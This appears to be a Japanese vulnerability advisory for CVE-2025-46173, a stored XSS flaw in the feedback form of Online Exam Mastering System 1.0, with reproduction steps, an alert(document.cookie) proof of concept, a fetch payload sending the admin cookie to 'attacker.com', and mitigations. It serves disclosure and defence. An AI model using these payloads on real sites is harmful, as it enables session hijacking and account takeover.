CVE-2025-46173 - Online Exam Mastering System 1.0 における格納型クロスサイトスクリプティング (XSS)

📌 概要

CVE-2025-46173 は、code-projects の Online Exam Mastering System 1.0 で発見された 格納型クロスサイトスクリプティング (XSS) 脆弱性です。この脆弱性は feedback.php コンポーネントに存在し、名前フィールド へのユーザー入力が適切にサニタイズされないため、悪意のある攻撃者が任意の JavaScript を注入できるようになります。管理者が管理ダッシュボード (dash.php) でこのフィードバックを表示すると、ペイロードが管理者のブラウザで実行され、セッションハイジャックや権限昇格の可能性が生じます。

🧠 脆弱性の詳細

• 脆弱性タイプ: 格納型クロスサイトスクリプティング (XSS)
• CVE-ID: CVE-2025-46173
• ベンダー: code-projects
• 製品: Online Exam Mastering System
• 影響を受けるバージョン: 1.0
• コンポーネント: feedback.php, dash.php
• 攻撃ベクトル: リモート
• 影響: 権限昇格、セッションハイジャック

📷 概念実証

1. インジェクション

ユーザーがフィードバックフォームの 名前 フィールドに以下のペイロードを送信します:

<script>alert(document.cookie)</script>

2. トリガー

管理者が後で dash.php で送信されたフィードバックを表示すると、ペイロードが実行されます:

3. 結果

管理者のセッションクッキーが document.cookie を通じて公開され、外部に送信される可能性があります:

<script>
  fetch("http://attacker.com/steal?cookie=" + document.cookie);
</script>

⚙️ 再現手順

1. 脆弱なバージョンを code-projects からクローンまたはセットアップします。

2. localhost/exam/feedback.php に移動します。

3. 「名前」フィールドに以下を入力します:

   root@kitploit:~

   <script>alert(document.cookie)</script>
   

4. フォームを送信します。

5. 管理者としてログインし、dash.php?q=3 にアクセスしてフィードバックを表示します。

6. スクリプトが管理者のコンテキストで実行されます。

🔥 影響

悪用に成功すると、リモート攻撃者は以下が可能になります:

• 管理者のセッションクッキーを盗む
• 管理者ユーザーになりすます
• 完全な管理アクセスを取得する
• テストデータを変更または削除する
• 権限を昇格する

🔒 推奨される対策

• HTML 特殊文字（例: &, <, >, "）をエスケープして ユーザー入力をサニタイズ します。
• PHP の htmlspecialchars() のような堅牢なサニタイズライブラリ、またはフロントエンド検証とバックエンドサニタイズの組み合わせを使用します。
• コンテンツセキュリティポリシー (CSP) を実装します。
• データを DOM でレンダリングする前にエンコードすることを検討します。

🔗 参考文献

• Blind Cross-Site Scripting (Invicti)
• Acunetix - Detecting Blind XSS
• OWASP XSS Prevention Cheat Sheet

👤 発見者

Pruthu Raut LinkedIn | TryHackMe Top 2% | GitHub

スクリーンショットは教育目的のみです。すべてのテストはローカル環境で行われました。

🎥 ビデオ PoC

デモ動画を見るにはここをクリック

⚠️ 免責事項

この情報は教育および研究目的のみで提供されています。自分が所有していないシステムやテストする明示的な許可がないシステムで使用しないでください。